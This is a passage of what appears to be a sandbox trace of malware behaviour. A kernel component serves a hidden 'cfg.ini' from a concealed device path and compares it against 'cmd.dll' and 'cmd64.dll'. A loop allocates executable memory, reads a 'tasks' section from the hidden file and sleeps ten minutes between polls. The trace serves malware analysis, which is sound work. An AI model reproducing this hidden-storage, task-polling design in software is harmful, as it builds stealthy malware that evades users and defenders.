MemoryDescriptorList=0xfffffa8003baf190) [0124.408] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0124.408] IdePortDispatch () returned 0x103 [0124.408] KeWaitForMutexObject () returned 0x0 [0124.408] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.408] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.408] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.408] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.408] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.408] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf1cb0 [0124.408] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.408] KeLeaveCriticalRegion () [0124.408] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.408] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.408] KeEnterCriticalRegion () [0124.408] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.408] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.408] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.408] KeLeaveCriticalRegion () [0124.409] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.409] KeEnterCriticalRegion () [0124.409] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.409] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.409] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.409] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.409] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0124.409] IdePortDispatch () returned 0x103 [0124.409] KeWaitForMutexObject () returned 0x0 [0124.409] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.409] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.409] KeLeaveCriticalRegion () [0124.409] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.409] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.409] KeEnterCriticalRegion () [0124.409] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.409] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800354c000 [0124.409] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.409] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.409] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.409] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.409] IdePortDispatch () returned 0x103 [0124.409] KeWaitForMutexObject () returned 0x0 [0124.409] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.409] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.409] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.409] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.409] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.409] IdePortDispatch () returned 0x103 [0124.410] KeWaitForMutexObject () returned 0x0 [0124.410] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.410] KeLeaveCriticalRegion () [0124.410] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.410] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.410] KeEnterCriticalRegion () [0124.410] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.410] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.410] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.410] KeLeaveCriticalRegion () [0124.410] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.410] KeEnterCriticalRegion () [0124.410] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.410] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.410] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf1b70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.410] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.410] KeLeaveCriticalRegion () [0124.410] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.410] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.410] KeEnterCriticalRegion () [0124.410] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.410] ExFreePoolWithTag (P=0xfffffa8003bf1cb0, Tag=0x0) [0124.411] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.411] KeLeaveCriticalRegion () [0124.411] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.411] ReleaseMutex (hMutex=0xf0) returned 1 [0124.411] Sleep (dwMilliseconds=0x927c0) [0124.424] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0124.424] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.424] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0124.424] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.424] KeEnterCriticalRegion () [0124.424] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.424] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.424] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.424] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.424] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0124.424] IdePortDispatch () returned 0x103 [0124.425] KeWaitForMutexObject () returned 0x0 [0124.425] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.425] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.425] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.425] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.425] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.425] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf1010 [0124.425] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.425] KeLeaveCriticalRegion () [0124.425] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.425] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.425] KeEnterCriticalRegion () [0124.425] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.425] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.425] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.425] KeLeaveCriticalRegion () [0124.425] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.425] KeEnterCriticalRegion () [0124.425] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.425] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.425] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.425] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.425] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0124.425] IdePortDispatch () returned 0x103 [0124.426] KeWaitForMutexObject () returned 0x0 [0124.426] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.426] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.426] KeLeaveCriticalRegion () [0124.426] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.426] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.426] KeEnterCriticalRegion () [0124.426] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.426] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003551000 [0124.426] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.426] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.426] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.426] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.426] IdePortDispatch () returned 0x103 [0124.426] KeWaitForMutexObject () returned 0x0 [0124.426] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.426] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.426] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.426] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.426] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.426] IdePortDispatch () returned 0x103 [0124.426] KeWaitForMutexObject () returned 0x0 [0124.426] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.426] KeLeaveCriticalRegion () [0124.426] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.427] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.427] KeEnterCriticalRegion () [0124.427] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.427] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.427] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.427] KeLeaveCriticalRegion () [0124.427] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.427] KeEnterCriticalRegion () [0124.427] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.427] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.427] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf1b20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.427] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.427] KeLeaveCriticalRegion () [0124.427] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.427] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.427] KeEnterCriticalRegion () [0124.427] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.427] ExFreePoolWithTag (P=0xfffffa8003bf1010, Tag=0x0) [0124.427] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.427] KeLeaveCriticalRegion () [0124.427] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.427] ReleaseMutex (hMutex=0xf0) returned 1 [0124.427] Sleep (dwMilliseconds=0x927c0) [0124.442] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0124.442] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.442] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0124.442] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.442] KeEnterCriticalRegion () [0124.442] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.442] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.442] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.442] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.442] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0124.442] IdePortDispatch () returned 0x103 [0124.442] KeWaitForMutexObject () returned 0x0 [0124.442] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.442] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.442] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.442] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.442] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.442] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003beef10 [0124.442] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.442] KeLeaveCriticalRegion () [0124.442] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.442] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.442] KeEnterCriticalRegion () [0124.442] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.442] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.442] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.442] KeLeaveCriticalRegion () [0124.442] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.442] KeEnterCriticalRegion () [0124.442] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.442] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.442] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.442] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.442] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0124.442] IdePortDispatch () returned 0x103 [0124.443] KeWaitForMutexObject () returned 0x0 [0124.443] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.443] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.443] KeLeaveCriticalRegion () [0124.443] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.443] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.443] KeEnterCriticalRegion () [0124.443] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.443] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003556000 [0124.443] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.443] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.443] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.443] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.443] IdePortDispatch () returned 0x103 [0124.443] KeWaitForMutexObject () returned 0x0 [0124.443] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.443] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.443] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.443] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.443] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.443] IdePortDispatch () returned 0x103 [0124.444] KeWaitForMutexObject () returned 0x0 [0124.444] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.444] KeLeaveCriticalRegion () [0124.444] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.444] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.444] KeEnterCriticalRegion () [0124.444] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.444] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.444] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.444] KeLeaveCriticalRegion () [0124.444] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.444] KeEnterCriticalRegion () [0124.444] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.444] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.444] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf1860, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.444] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.444] KeLeaveCriticalRegion () [0124.444] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.444] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.444] KeEnterCriticalRegion () [0124.444] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.444] ExFreePoolWithTag (P=0xfffffa8003beef10, Tag=0x0) [0124.444] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.444] KeLeaveCriticalRegion () [0124.444] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.444] ReleaseMutex (hMutex=0xf0) returned 1 [0124.444] Sleep (dwMilliseconds=0x927c0) [0124.458] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0124.458] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.458] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0124.459] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.459] KeEnterCriticalRegion () [0124.459] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.459] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.459] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.459] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.459] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0124.459] IdePortDispatch () returned 0x103 [0124.459] KeWaitForMutexObject () returned 0x0 [0124.459] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.459] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.459] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.459] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.459] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.459] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf1010 [0124.459] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.459] KeLeaveCriticalRegion () [0124.459] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.459] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.459] KeEnterCriticalRegion () [0124.459] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.459] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.459] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.459] KeLeaveCriticalRegion () [0124.459] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.459] KeEnterCriticalRegion () [0124.459] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.459] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.459] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.459] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: 